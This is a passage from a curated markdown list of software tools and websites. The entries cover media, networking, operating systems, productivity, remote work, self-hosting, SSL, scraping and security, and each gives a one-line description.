[Sub-Zero](https://github.com/pannal/Sub-Zero.bundle) - Subtitles for Plex, as good you would expect them to be. - [](#) - [Tautulli](https://github.com/Tautulli/Tautulli) - A Python based monitoring and tracking tool for Plex Media Server - [](#) ## Music / Audio - [BackgroundMusic](https://github.com/kyleneideck/BackgroundMusic) - macOS audio utility - [](#) - [Festify](https://festify.us/) - Festify lets your guests choose which music should be played using their smartphones (and spotify). - [](#) - [funkwhale](https://funkwhale.audio/en_GB) - Listen and share music and audio within a decentralised, open network - [](#) - [jqbx.fm/](https://www.jqbx.fm//) - Lets you play & listen to music in sync with friends or public groups. Works with spotify - [](#) - [musicbrainz picard](https://picard.musicbrainz.org/) - Music tagger written in Python. - [](#) - [Organize Your Music](http://organizeyourmusic.playlistmachinery.com/) - Organize your Spotify music collection by any of a wide range of musical attributes including genre, mood, decade of release and more. - [](#) - [Soundscape](https://github.com/soundscapecloud/soundscape) - a personal music streaming server - [](#) ## Video Editing - [deface](https://github.com/ORB-HD/deface) - Command-line tool for automatic anonymization of faces in videos or photos (video anonymization) - [](#) ## Networking / DNS / Wifi ... - [Angry IP Scanner](https://github.com/angryip/ipscan) - Fast and friendly network scanner - [](#) - [apackets](https://apackets.com/) - Allows to read pcap file and analyze IPv4/IPv6, HTTP, Telnet, FTP, DNS, SSDP, WPA protocols, build map of network structure and nodes activity graph, sniff and analyze network traffic and other pcap data - [](#) - [Auvik](https://www.auvik.com/msp-network-features/) - Tool to manage network infrastructure - [](#) - [bandwhich](https://github.com/imsnif/bandwhich) - CLI utility for displaying current network utilization (bandwith) by process, connection and remote IP/hostname - [](#) - [dig online](http://digwebinterface.com/) - Dig, but online - [](#) - [Dns watch](https://dns.watch/) - No Censorship. No Bullshit. Just DNS. - [](#) - [dns-trails](https://securitytrails.com/dns-trails) - The World's Largest Repository of historical DNS data - [](#) - [fast-cli](https://github.com/sindresorhus/fast-cli) - Test your download and upload speed using fast.com - [](#) - [gns3](https://gns3.com/) - Build, Design and Test your network in a risk-free virtual environment and access the largest networking community to help. - [](#) - [mtr](https://www.bitwizard.nl/mtr/) - mtr combines the functionality of the 'traceroute' and 'ping' programs in a single network diagnostic tool.- [](https://github.com/traviscross/mtr) - [mxtoolbox](https://mxtoolbox.com/) - Very helpful website for diagnostics on DNS zones, mail settings, ... - [](#) - [netbox](https://github.com/netbox-community/netbox) - IP address management (IPAM) and data center infrastructure management (DCIM) tool. - [](#) - [nmap](https://github.com/nmap/nmap) - Network Mapper - [](#) - [openmptcprouter](https://github.com/Ysurac/openmptcprouter) - Aggregate multiple internet connections using Multipath TCP (MPTCP) on OpenWrt - [](#) - [opnsense](https://opnsense.org/) - OPNsense is a FreeBSD-based firewall and routing software - [](#) - [phpipam](https://phpipam.net/) - Web IP address management application (IPAM) - [](#) - [redirection](https://redirection.io/) - HTTP redirection manager (SEO) - [](#) - [speedtest-cli](https://github.com/sivel/speedtest-cli) - Test your internet bandwidth via the cli. It uses speedtest.net - [](#) - [speedtest](https://www.speedtest.net/) - Test your internet connection's speed - [](#) - [spotipo](https://www.spotipo.com/) - Hotspot portal for your existing WiFi router. For using,you will need to have a router that supports Spotipo. - [](#) - [whatsmydns](https://www.whatsmydns.net/) - DNS Propagation Checker - [](#) - [wifi-card](https://github.com/bndw/wifi-card) - Print a simple card with your WiFi login details. Tape it to the fridge, keep it in your wallet, etc. - [](#) - [wtfismyip](https://github.com/wtfismyip/wtfismyip) - Helps to find out the IP used (IPv4 and IPv6) - [](#) ## Operating Systems / Virtualization _My toaster runs on Linux!_ - [9front](http://9front.org) - A modernized fork of Plan 9, the distributed operating system - [](#) - [aapanel](https://aapanel.com/) - source Hosting Control Panel (alternative to Plesk or Cpanel - [](#) - [kaosx](https://kaosx.us/) - A Lean KDE Distribution - [](#) - [proxmox](https://www.proxmox.com/en/) - Operating System for enterprise virtualization. With the built-in web interface you can easily manage VMs and containers, software-defined storage and networking, high-availability clustering, and multiple out-of-the-box tools on a single solution. - [](#) - [qemu](https://www.qemu.org/) - A generic machine emulator and virtualizer. - [](https://github.com/qemu/QEMU) - [reactOS](https://www.reactos.org/) - Imagine running your favorite Windows applications and drivers in an open-source environment you can trust. - [](#) - [repology](https://repology.org/) - Repology monitors a huge number of package repositories and other sources comparing packages versions across them and gathering other information. - [](#) - [unraid](https://unraid.net/) - Operating system that brings enterprise-class features to maximize performance and capacity using any combination of applications, VMs, storage devices, and hardware. - [](#) - [virtualbox](https://www.virtualbox.org/) - A virtualization product for both enterprise and home use. Only professional solution that is freely available as Open Source Software - [](#) ## Online Payment / Sell stuff / Buy stuff / TPE / Passive income _Katsching_ - [Apollo](https://www.apollo.io/) - Sales and engagement strategy platform - [](#) - [gumroad](https://gumroad.com/) - Self-publishing digital market place platform to sell digital services such as books, memberships, courses and other digital services. - [](#) - [honey](https://www.joinhoney.com/) - helps you find some of the best coupon codes on 30,000+ sites. - [](#) - [leanpub](https://leanpub.com/) - Sell ebooks - [](#) - [leanpub](https://leanpub.com/) - Sell ebooks - [](#) - [mazyng](https://mazyng.com/) - Build your brand. Design your future. We help you sell custom merchandise online. - [](#) - [Orbit](https://orbit.love/) - Grow and measure your community across any platform with Orbit, mission control for your community. - [](#) - [ouicar](https://www.ouicar.fr/) - Rent out your car. :fr: - [paytweak](https://www.paytweak.com/) - Email, text, chat, bots ... Payment Services - Build your own Secure Payment Links to get Payments directly to your bank account with No time and No fees ! - [](#) - [paytweak](https://www.paytweak.us/) - Build your own Universal Secure Payment Links to get Payments - [picfair](https://try.picfair.com/pp/) - You upload & set your prices. You customize your store. Picfair does everything else. - [](#) - [serverhunter](https://www.serverhunter.com/) - Compare servers from different providers - [](#) - [Stripe](https://stripe.com/) - Accept payments and manage your business online - [](#) - [sumup](https://sumup.com/credit-card-processing-fees) - Card payment processor for small businesses. - [](#) in seconds, directly to your bank account with No time and No fees ! - [](#) ## Others _/dev/random_ - [accredible](https://www.accredible.com/) - Digital badge and certificate platform - [](#) - [aircall](https://aircall.io/) - Cloud-based call center software - [](#) - [brickit](https://brickit.app/) - Build new creations from your lego bricks. - [](#) - [Coffitivity](https://coffitivity.com/) - Recreates the ambient sounds of a cafe to boost your creativity and help you work better - [](#) - [ergodox-ez](https://ergodox-ez.com/) - fully customizable ergonomic keyboard. - [](#) - [estcequonpeutpartir](http://estcequonpeutpartir.fr/) - :fr: Helps taking decisions on where to go on holiday - [](#) - [farmbot](https://farm.bot/) - Open-Source CNC Farming - [](https://github.com/FarmBot/Farmbot-Web-App) - [go-jira](https://github.com/andygrunwald/go-jira) - Go client library for Atlassian Jira - [](#) - [Great escape](https://greatescape.co) - Flight tracker / Travel helper that helps take decisions or find new destinations based on prices and many other categories, for example if you want to start travelling from a specific starting point - [](#) - [greenframe](https://greenframe.io/) - Measure and reduce your website CO2 emissions - [History of web design](https://www.webdesignmuseum.org/web-design-history) - Time travel into the early days of the web. - [](#) - [ioverlander](https://www.ioverlander.com/) - Mapping project for travellers. - [](#) - [jollyroger telephone](https://jollyrogertelephone.com/) - Fight back against annoying telemarketers and evil scammers! - [](#) - [jsfuck](http://www.jsfuck.com/) - Write any JavaScript with 6 Characters: []()!+ - [](#) - [Lukky](https://lukky.app/) - Social Contests Made Easy. Quickly draw winners from the comments on Instagram, Twitter and Facebook! - [](#) - [lingopie](https://lingopie.com/) - Learn a New Language With Great TV - [](#) - [macos-virtualbox](https://github.com/myspaghetti/macos-virtualbox) - Push-button installer of macOS Catalina, Mojave, and High Sierra guests in Virtualbox for Windows, Linux, and macOS - [](#) - [maze](https://maze.co/) - Usability tests with dashboards and metrics. - [](#) - [Open Street map](https://www.openstreetmap.org) - OpenStreetMap is the free wiki world map. OpenStreetMap is a map of the world, created by people like you and free to use under an open license. - [](#) - [openframe](https://openframe.io/) - Platform for artists, curators and art enthusiasts to share, discover and display digital art. Raspberry pi based. - [](#) - [openHAB](https://www.openhab.org/) - Automation software for your home (smart home) - [](#) - [OpenHaystack](https://github.com/seemoo-lab/openhaystack) - Track personal Bluetooth devices via Apple's massive Find My network. Use it to create your own tracking tags that you can append to physical objects (keyrings, backpacks, ...) or integrate it into other Bluetooth-capable devices such as notebooks. - [](#) - [pdfmapmaker](https://pdfmapmaker.com/) - Create pdfs from maps. - [](#) - [pixelartcss](https://www.pixelartcss.com/) - Create pixel art using CSS - [](#) - [pixelartcss](https://www.pixelartcss.com/) - Generate pixel art css. - [](#) - [Product Hunt Time Machine](https://timemachine.betamode.dev/) - Most voted hunt from every day since Product Hunt records began. - [](#) - [Public Money? Public Code!](https://publiccode.eu/openletter/) - Publicly funded software has to be Free and Open Source Software. While there are plenty of good reasons for this, many politicians don’t know about them yet. - [schlouk-map](https://www.schlouk-map.com/fr/) - Find the perfect bar close to you. France only. - [](#) - [sdelete](https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete) - Securely deleting a file - [](#) - [streamlit](https://streamlit.gishub.org/) - Interactive web app for creating Landsat/GOES timelapse for any location around the globe. The app was built using streamlit, geemap, and Google Earth Engine. - [](#) - [direkt bahn guru](https://direkt.bahn.guru/) - See how far you can get with a train from different locations. - [](#) - [The true size](https://thetruesize.com) - Easily compare countries with each others - [](#) - [The-Open-Book](https://github.com/joeycastillo/The-Open-Book) - Want to create your own ebook reader? - [](#) - [TimeLines](https://github.com/mathieudutour/TimeLines) - Know when all your friends, colleagues, and family are. - [](#) - [usertesting](https://www.usertesting.com/get-paid-to-test) - Get paid to test products. - [](#) - [vector.rocks](https://vector.rocks/) - Add content on a map. - [](#) - [vervoe](https://vervoe.com/) - Skill testing software that automatically ranks candidates based on how well they can do the job. - [](#) - [WDL](https://www.wdl.org/) - World Digital Library, has books, maps, ... - [](#) ## Presentations _Bored of powerpoint?_ - [beamer](https://github.com/josephwright/beamer) - LaTeX class for producing presentations - [](#) - [big](https://github.com/tmcw/big) - A configuration-free system for creating presentation (powerpoint style) that naturally encourages good style. - [](#) - [browserframe](https://browserframe.com/) - Wrap screenshots in browser frames. Supports multiple browsers, operating systems, and themes. - - [](#) - [eagle.js](https://github.com/zulko/eagle.js/) - A hackable slideshow framework built with Vue.js - [](#) - [fusuma](https://github.com/hiroppy/fusuma) - Markdown and MDX Presentations (supports custom JS, CSS and React) - [](#) - [gatsby-starter-deck](https://github.com/fabe/gatsby-starter-deck) - Create presentations using Gatsby, React & Markdown - [](#) - [gitpitch](https://github.com/gitpitch/gitpitch) - Markdown Presentation Service For Developers - [](#) - [Hacker Slides](https://github.com/msoedov/hacker-slides) - A small UI for reveal.js presentations editor form markdown files. (it's selfhosted) - [](#) - [keppler](https://github.com/brunosimon/keppler) - Real time code sharing for your lectures and presentations. - [](#) - [mdp](https://github.com/visit1985/mdp) - A command-line based markdown presentation tool - [](#) - [present](https://github.com/vinayak-mehta/present) - Terminal-based presentation tool with colors and effects - [](#) - [presentify](https://presentify.compzets.com/) - macOS menu bar app that helps you give better presentations, online classes, or video tutorials by letting you annotate any screen, highlight your cursor, and more. - [](#) - [reveal-md](https://github.com/webpro/reveal-md) - Reveal JS but for Markdown or YAML (supports custom JS, CSS and export to pdf) - [](#) - [reveal.js](https://github.com/hakimel/reveal.js) - The HTML Presentation Framework - [](#) - [Showoff Presenter](https://github.com/puppetlabs/showoff) - Slideshow presentation tool that runs as a web application, with audience interactivity features. This means that your audience can follow along in their own browsers, can download supplemental materials, can participate in quizzes or polls, post questions for the presenter, etc. - [](#) - [vortex](https://github.com/tajpure/vortex) - A markdown presentation tool. (supports custom CSS) - [](#) - [webslides](https://github.com/webslides/webslides/) - Create HTML presentations in seconds - [](#) ## Governement-funded / Participative software / Community _Public money, public code !_ - [ckan](https://ckan.org/) - Data portal platform / Data management system that makes data accessible – by providing tools to streamline publishing, sharing, finding and using data - [consulproject](https://consulproject.org/en/) - Citizen participation tool for an open, transparent and democratic government. - [](#) - [decidim](https://github.com/decidim/decidim) - Participatory democracy framework - [](#) - [gnuhealth](https://gnuhealth.org/#/) - Libre Health and Hospital Information System - [](#) - [kit](https://kit.co/) - Help Your Followers Find Your Favorite Tools - [](#) - [ogptoolbox](https://ogptoolbox.org/en/) - List of tools and resources to promote democracy, transparency, participation and collaboration. - [](#) - [opencollective](https://opencollective.com/) - Manage your finances so everyone can see where money comes from and where it goes. Collect and spend money transparently. - [](#) - [oskari](https://www.oskari.org/) - A framework for easily building multipurpose web mapping applications utilizing distributed Spatial Data Infrastructures like INSPIRE - [](#) - [sentilo](https://www.sentilo.io/wordpress/) - Smart City platform. - [](#) - [X-Road](https://github.com/nordic-institute/X-Road) - X-Road Data Exchange Layer is a standardised, cohesive, collaborative, interoperable and secure data exchange layer that gives service providers the opportunity to combine many different services and data sources. - [](#) ## Project management / Time Management / Organisation / Productivity - [activitywatch](https://activitywatch.net/) - Records what you do so that you can know how you've spent your time. - [](#) - [agantty](https://www.agantty.com/) - Free Projektmanagement (gantt, ...) - [](#) - [automate.io](https://automate.io/) - Automate like Fortune 500. Integrate your cloud applications. Automate marketing, sales and business processes. - [](#) - [awwapp](https://awwapp.com/) - Online whiteboard - [](#) - [cal.com](https://cal.com/) - Open source Calendly alternative. You are in charge of your own data, workflow and appearance. - [](#) - [Clocker](https://github.com/n0shake/Clocker) - macOS app to plan and organize through timezones- [](#) - [clockify](https://clockify.me/) - Free time tracking software. It's a simple time tracker and timesheet app that lets you and your team track work hours across projects. Unlimited users, free forever. - [](#) - [favro](https://learn.favro.com/) - Favro is the planning and collaboration app for organizational flow. It helps organizations do what they excel at - making products and services that change the game. Fast. - [](#) - [gantt](https://github.com/frappe/gantt) - Javascript Gantt, A simple, interactive, modern gantt chart library for the web - [](#) - [hakatime](https://github.com/mujx/hakatime) - Hakatime is a server implementation of Wakatime. - [](#) - [hill-charts](https://basecamp.com/features/hill-charts) - see where projects really stand - [](#) - [Life-Calendar](https://github.com/wvdk/Life-Calendar) - A calendar... for your life (in development) - [](#) - [limesurvey](https://www.limesurvey.org/) - Professional online surveys / polls selfhosted - [](#) - [meeter](https://apps.apple.com/de/app/meeter-fast-call-initiation/id1510445899?l=en&mt=12) - Manage all your calls and meetings in one place. macOS app that is located in the taskbar. - [](#) - [meetingbird](https://www.meetingbird.com) - Simply schedule your meetins (integrates with gmail) - [](#) - [mindnode](https://mindnode.com/) - Mindmap and brainstorming - [](#) - [Openproject](https://www.openproject.org/) - Collaborative Project Management: project management software. Gantt charts, Agile, Scrum, Wiki, ... - [](#) - [org-mode](https://orgmode.org) - Keeping notes, maintaining TODO lists, planning projects, and authoring documents with a fast and effective plain-text system - [](#) - [pandora](https://getpandora.tech/) - Collect the content (docs, links, ppt, img, code snippets and more... ) your co-workers have shared with you on Slack and Gmail. - [](#) - [pomofocus](https://pomofocus.io/) - Pomodoro time tracking that can be customized. - [](#) - [shipright](https://www.shipright.co/) - One organized place for product feedback - [](#) - [simplemind](https://simplemind.eu/) - Mindmap - [](#) - [startinfinity](https://startinfinity.com/) - Kanban & More - [](#) - [strategr](https://khrykin.github.io/strategr/) - No-Fuss Time Management - [](#) - [survio](https://www.survio.com/en/) - Simply create surveys - [](#) - [taskade](https://taskade.com/) - Real-time todo lists, mind maps, and notes - [](#) - [timeout](https://www.dejal.com/timeout/) - Time tracker and break reminder for macOS - [](#) - [timingapp](https://timingapp.com/?lang=en) - Automatic and manual time tracking, for the best of both worlds. - [](#) - [todo-cli](https://github.com/francoischalifour/todo-cli) - Command-line tool to manage the Todo lists of your projects - [](#) - [todoist](https://todoist.com/fr) - Todo lists - [](#) - [topsi-project-manager](https://github.com/Physiix/topsi-project-manager) - A Desktop Kanban board app. - [](#) - [untools](https://untools.co/) - Tools for better thinking. Collection of thinking tools and frameworks to help you solve problems, make decisions and understand systems. - [](#) - [wakatime](https://wakatime.com/) - Metrics about your programming. See [hakatime](https://github.com/mujx/hakatime) - [](#) - [worldtimebuddy](https://www.worldtimebuddy.com/) - Visualize Timezones (ECT, UTC, ...) - [](#) - [xmind](https://www.xmind.net/) - Mind mapping and brainstorming tool - [](#) - [bordio](https://bordio.com/) - Daily planner app, which allows to manage tasks and events on one single board - [](#) ### Kanban - [kanban](https://github.com/leanlabsio/kanban) - Lean project management Kanban for GitLab - [](#) - [react-kanban](https://github.com/markusenglund/react-kanban) - A server-rendered React Kanban app inspired by Trello built with React and Redux. - [](#) - [taskcafe](https://github.com/JordanKnott/taskcafe) - Kanban board - [](#) - [Wekan](https://github.com/wekan/wekan) - Kanban board (built with Meteor). - [](#) ## Questions & Answers (Questions & Answers) _Ever heard of Stackoverflow ?_ - [paizaqa](http://paizaqa.herokuapp.com/) - Stack Overflow like Q&A built using MEAN stack - [](https://github.com/gi-no/paizaqa) - [questions2answer](http://www.question2answer.org/qa/) - Question2Answer is a platform for Q&A sites, running on PHP/MySQL - [](https://github.com/q2a/question2answer) ## Regex / Sed <img src="https://media.giphy.com/media/mDFpdL1UxdVZRBN2V4/giphy.gif" width="200"/> - [I hate regex](https://ihateregex.io/) - Because you know you do... online tool with helpful charts and explanations to your regex - [](#) - [Regex101](https://regex101.com/) - Another online tool for dealing with regex - [](#) - [regexcrossword](https://m.regexcrossword.com/) - A Regex Crossword "Game" - [](#) - [rgxg](https://github.com/rgxg/rgxg) - rgxg (ReGular eXpression Generator) is a C library and a command-line tool to generate (extended) regular expressions. - [](#) - [sed online](https://sed.js.org/) - the sed command, but online - [](#) ## Remote work / Visioconference / Pair programming - [beekast](https://www.beekast.com/features/) - Fun and interactive activities during visioconferences - [](#) - [Go to meeting](https://www.gotomeeting.com/) - [](#) - [Google Hangouts](https://hangouts.google.com/) - Communication software product developed by Google - [](#) - [hopin](https://hopin.to/) - Virtual venue with multiple interactive areas that are optimized for connecting and engaging. Attendees can move in and out of rooms just like an in-person event and enjoy the content and connections you've created for them. - [](#) - [join me](https://www.join.me/) - Conferences, screen sharing, ... - [](#) - [obsproject](https://obsproject.com/) - Software for video recording and live streaming on windows, macOS and Linux. - [](#) - [restream](https://restream.io/) - Stream live to 30+ social platforms at once. - [](#) - [safetywing.com](https://safetywing.com/remote-health/) - Health insurancefor your remote team. - [](#) - [Seashells](https://github.com/anishathalye/seashells) - Pipe output from command-line programs to the web in real-time, even without installing any new software on your machine. - [](#) - [Slack](https://slack.com) - A single place for messaging, tools and files - [](#) - [Streamhut](https://github.com/miguelmota/streamhut) - Stream your terminal to web without installing anything. - [](#) - [Streamyard](https://streamyard.com/) - The easiest way to create professional live streams - [](#) - [Teams](https://products.office.com/en-en/microsoft-teams/free) - Work remotely without feeling remote. - [](#) - [Tixeo](https://www.tixeo.com/) - [](#) - [Webex](https://cart.webex.com/sign-up?locale=en_EN) - Enterprise solution for video conferencing, online meetings, screen share, and webinars. - [](#) - [when2meet](https://www.when2meet.com/) - Makes scheduling meeting accross timezones easy. Very helpful for distributed teams. - [](#) - [whereby](https://whereby.com/) - Easy video meetings - [](#) - [workaway](https://www.workaway.info/) - Community for cultural exchange, working holidays and volunteering in 170 countries. - [](#) - [youtube](http://youtube.com/) - Allows to live stream - [](#) - [Zoho](https://www.zoho.com/meeting/) - Your online meeting and webinar solution - [](#) - [zoom](https://zoom.us/) - Enterprise video conferencing with real-time messaging and content sharing - [](#) ### Games for remote teams - [cardsagainstformality](https://cardsagainstformality.io/) - Cards against humanity but online. - [](#) - [garticphone](https://garticphone.com/) - The phone game - [](#) - [Skribbl](https://skribbl.io/) - Drawing and typing. - [](#) - [Workadventure](https://workadventu.re/) - Gather with your teammates wherever you are in a virtual office. - [](#) ## Server Basics - Apache / Nginx - Certbot - Fail2Ban - UFW (Iptables alternative) ## Server Loadtest _But... will it scale?_ - [ab](https://httpd.apache.org/docs/2.4/programs/ab.html) - Tool for benchmarking your Apache Hypertext Transfer Protocol (HTTP) server. - [](#) - [blazemeter](https://www.blazemeter.com/) - open-source based, enterprise ready platform unifies all the functionality you need to shift testing left - and right. - [](#) - [flood](https://www.flood.io/) - Easy to use load testing platform - [](#) - [jmeter](https://jmeter.apache.org/) - Java application designed to load test functional behavior and measure performance. - [](#) - [k6](https://k6.io/) - Open source load testing tool and SaaS for engineering teams - [](#) - [loader](https://loader.io/) - Simple free Cloud-based LOAD TESTING - [](#) - [locust](https://github.com/locustio/locust) - Scalable user load testing tool written in Python. - [](#) - [vegeta](https://github.com/tsenart/vegeta/) - HTTP load testing tool and library. It's over 9000! - [](#) ## Selfhosted - [CachetHQ](https://cachethq.io/) - Status page system, helps better communicate downtime and system outages - [](https://github.com/CachetHQ/Cachet) - [CodeInterview](https://github.com/areebbeigh/codeinterview-backend) - CodeInterview is the right tool for online coding interviews. No sign-ups, just create a room and share the URL. - [](#) - [Cozy](https://cozy.io/en/) - Cozy is a platform that brings all your web services in the same private space. - [](https://github.com/cozy/cozy-drive) - [dex](https://github.com/dexidp/dex) - Identity service. OpenID Connect Identity (OIDC) and OAuth 2.0 Provider with Pluggable Connectors - [](#) - [Domainmod](https://domainmod.org/) - An Application to manage your domains and other internet assets in a central location - [](#) - [framasoft - lufi](https://framagit.org/fiat-tux/hat-softwares/lufi) - E2E encrypted File sharing software - [](https://framagit.org/fiat-tux/hat-softwares/lufi) - [Framasoft](https://framasoft.org/) - Collection of free / open source tools that offer alternatives to Doodle, Google Forms, ... - [](#) - [Freshrss](https://freshrss.org/) - A self-hostable RSS aggregator… probably the best! - [](https://github.com/FreshRSS/FreshRSS) - [helpy](https://github.com/helpyio/helpy) - Customer Support (ticketing) Software - [](#) - [homer](https://github.com/bastienwirtz/homer) - A very simple static homepage for your server. - [](#) - [I, Librarian](https://github.com/mkucej/i-librarian-free) - PDF managing SaaS - [](#) - [Jitsi](https://jitsi.org/) - Multi-platform video conferencing - [](https://github.com/jitsi) - [link-lock](https://github.com/jstrieb/link-lock) - Password-protect URLs when sharing them to others using AES in the browser. - [](#) - [Openvswitch](http://www.openvswitch.org/) - A production quality, multilayer virtual switch - [](#) - [Osticket](https://osticket.com/) - Customer Support (ticketing) Software - [](https://github.com/osTicket/osTicket) - [peertube](https://github.com/Chocobozzz/PeerTube) - Decentralized and federated video platform which provides similar features to YouTube, Dailymotion or Vimeo. - [](#) - [Pi-hole](https://github.com/pi-hole/pi-hole) - A black hole for Internet advertisements / A DNS sinkhole that protects your devices from unwanted content, without installing any client-side software. - [](https://github.com/pi-hole/pi-hole) - [Privatebin](https://privatebin.info/) - A minimalist, online pastebin where the server has zero knowledge of pasted data. - [](https://github.com/PrivateBin/PrivateBin) - [Sandstorm](https://sandstorm.io/) - Platform for self-hosting web apps - [](https://github.com/sandstorm-io/sandstorm) - [Shaarli](https://github.com/shaarli/Shaarli) - Personal, minimalist, super-fast, database free, bookmarking / link sharing service - []() - [Spreed-webrtc](https://github.com/strukturag/spreed-webrtc) - WebRTC audio/video call and conferencing server. - [](#) - [Staffjoy](https://github.com/staffjoy/) - Scheduling Apps - [](https://github.com/LandRover/StaffjoyV2) - [turtl app](https://turtlapp.com/) - The secure, collaborative notebook - [](https://github.com/turtl) - [xdebug](https://xdebug.org/) - Xdebug is an extension for PHP to assist with debugging and development. - [](https://github.com/xdebug/xdebug) ### git / code repositories - [first-contributions](https://github.com/firstcontributions/first-contributions) - Help beginners to contribute to open source projects - [](#) - [git-jump](https://github.com/mykolaharmash/git-jump) - Improved navigation between Git branches. - [](#) - [gitchangelog](https://github.com/vaab/gitchangelog) - Creates a changelog from git log history. - [](#) - [gitui](https://github.com/Extrawurst/gitui) - The comfort of a git GUI but right in your terminal - [](#) - [gitea](https://gitea.io/en-us/) - A painless self-hosted Git service. - [](https://github.com/go-gitea/gitea) - [gitexplorer](https://gitexplorer.com/) - Find the right commands you need without digging through the web. - [](#) - [Gitlab](https://gitlab.com/) - A web-based DevOps lifecycle tool + git repository manager - [](#) - [pre-commit](https://github.com/pre-commit/pre-commit) - A framework for managing and maintaining multi-language pre-commit hooks - [](#) - [Rhodecode](https://rhodecode.com/) - Centralized control for distributed repositories. Mercurial, Git, and Subversion under a single roof. - [](https://code.rhodecode.com/) ### Ticketing / Bug tracker / Support - [linear](https://linear.app/) - Linear helps streamline software projects, sprints, tasks, and bug tracking. - [](#) - [liveagent](https://www.liveagent.com/) - Tickets, Livechat, ... all in one place - [](#) - [Mantis BT](https://www.mantisbt.org/) - An issue tracker / Ticketing tool that provides a delicate balance between simplicity and power - [](https://github.com/mantisbt/mantisbt) - [YouTrack](https://www.jetbrains.com/youtrack/features/) - Issue tracking tool that enables teams to collaborate efficiently. Made by JetBrains - [](#) - [zammad](https://zammad.org/) - Zammad is a web-based user support/ticketing solution. - [](https://github.com/zammad/zammad) ## SSL - [Certbot](https://certbot.eff.org/) - A software tool for automatically using Let’s Encrypt certificates on manually-administrated websites to enable HTTPS. - [](https://github.com/certbot/certbot) - [Let's Encrypt](https://letsencrypt.org/) - A nonprofit Certificate Authority providing TLS certificates to 190 million websites. - [](https://github.com/go-acme/lego) - [mkcert](https://github.com/FiloSottile/mkcert) - A simple zero-config tool to make locally trusted development certificates with any names you'd like - [](#) - [neverssl](http://neverssl.com) - This website is for when you try to open Facebook, Google, Amazon, etc on a wifi network, and nothing happens. - [ssl test](https://www.ssllabs.com/ssltest/analyze.html) - This free online service performs a deep analysis of the configuration of any SSL web server on the public Internet - [](#) - [testssl.sh](https://github.com/drwetter/testssl.sh) - Testing TLS/SSL encryption anywhere on any port - [](#) ## Spectre / Meltdown - [Spectre-meltdown-checker](https://github.com/speed47/spectre-meltdown-checker) - Spectre, Meltdown, Foreshadow, Fallout, RIDL, ZombieLoad vulnerability/mitigation checker for Linux & BSD - [](#) ## Screencast / Screenshots _One image = 1000 words_ - [annotate-capture-screenshot](https://apps.apple.com/us/app/annotate-capture-screenshot/id918207447?mt=12) - Annotate (formerly know as Glui) is the simplest way to capture, annotate and share screenshots on macOS. - [](#) - [asciinema](https://asciinema.org/) - Record and share your terminal sessions, the right way. → "Shellcast" - [](https://github.com/asciinema/asciinema) - [Kap](https://github.com/wulkano/kap) - Screen recorder built with web technology - [](#) - [keycastr](https://github.com/keycastr/keycastr) - macOS keystroke visualizer - [](#) - [Licecap](https://www.cockos.com/licecap/) - Do a simple screencast in gif format - [](https://github.com/justinfrankel/licecap) - [peek](https://github.com/phw/peek) - Simple animated GIF screen recorder with an easy to use interface - [](https://github.com/phw/peek) - [pop](https://pop.com/) - Screen sharing, multiplayer control, voice and high-quality video. Perfect for pair programming. - [](#) - [Printimage](https://justine.lol/printimage.html) - Displays image in the terminal - [](#) - [screencast-o-matic](https://screencast-o-matic.com/) - Helps to easily create, edit and communicate with videos and images - [](#) - [screenFetch](https://github.com/KittyKatt/screenFetch) - Fetches system/theme information in terminal for Linux desktop screenshots. - [](https://github.com/KittyKatt/screenFetch) - [ScreenshotFramer](https://github.com/IdeasOnCanvas/ScreenshotFramer) - Create localized App Store screenshots - [](#) - [shareit](https://shareit.video/) - Share screen recordings instantly - [](#) - [terminalizer](https://github.com/faressoft/terminalizer) - Record your terminal and generate animated gif images or share a web player - [](#) - [termtosvg](https://github.com/nbedos/termtosvg) - Record terminal sessions as SVG animations - [](#) ## Scrapping / Parsing - [BeautifulSoup](https://www.crummy.com/software/BeautifulSoup/bs4/doc/) - Python library for pulling data out of HTML and XML files. - [](#) - [G-Map Extractor](https://r2media.in/google-map-data-extractor-chrome-extension) - Captures contact information such as business name, address, phone number, website address, zip code information from Google maps. - [](#) - [huginn](https://github.com/huginn/huginn) - Create agents that monitor and act on your behalf on the web. Your agents are standing by! - [](#) - [LXML](https://lxml.de/) - Lxml is the most feature-rich and easy-to-use library for processing XML and HTML in the Python language. - [](https://github.com/lxml/lxml) - [Scrapy](https://doc.scrapy.org/en/latest/intro/overview.html) - Application framework for crawling web sites and extracting structured data - [](https://github.com/scrapy/scrapy) - [WHOIS parser](https://github.com/weppos/whois) - An intelligent — pure Ruby — WHOIS client and parser - [](#) ## Security / Cracking - [allstar](https://github.com/ossf/allstar) - GitHub App installed on organizations or repositories to set and enforce security policies - [](#) - [canary](https://canary.tools/) - Notifies on detected intrusion, also exists as [tokens](https://canarytokens.org/generate)- [](#) - [cfssl](https://github.com/cloudflare/cfssl) - CFSSL is CloudFlare's PKI/TLS swiss army knife. It is both a command line tool and an HTTP API server for signing, verifying, and bundling TLS certificates. - [](#) - [crowdsec](https://github.com/crowdsecurity/crowdsec/) - A modern behavior detection system, written in Go. It stacks on Fail2ban's philosophy, but uses Grok patterns & YAML grammar to analyse logs, a modern decoupled approach (detect here, remedy there) for Cloud/Containers/VM based infrastructures. - [](#) - [crt.sh](https://github.com/snwlvl/crt.sh) - A shell script to grab subdomains and probe for working http and https servers. - [](#) - [Damn Vulnerable Web Application (DVWA)](http://www.dvwa.co.uk/) - PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment. - [](#) - [DocBleach](https://github.com/docbleach/DocBleach-Web) - DocBleach allows you to sanitize your Word, Excel, PowerPoint, PDF, ... documents. - [](#) - [endlessh](https://github.com/skeeto/endlessh) - SSH tarpit that very slowly sends an endless, random SSH banner. It keeps SSH clients locked up for hours or even days at a time. The purpose is to put your real SSH server on another port and then let the script kiddies get stuck in this tarpit instead of bothering a real server. - [](#) - [etcd](https://etcd.io/) - Key-value store for the most critical data of a distributed system (anyjything from simple web app to a Kubernetes cluster)- [](#) - [HackTricks](https://book.hacktricks.xyz/) - Book by Carlos Polop with tricks and techniques he learnt from CTFs, real life apps, and reading researches and news. Includes pentest, wordpress security, ... - [](#) - [have i been pwned?](https://haveibeenpwned.com/) - Check if you have an account that has been compromised in a data breach - [](#) - [lgtm](https://lgtm.com/) - Continuous security analysis - [lulu](https://objective-see.com/products/lulu.html) - macOS firewall that aims to block unknown outgoing connections, unless explicitly approved by the user. - [](#) - 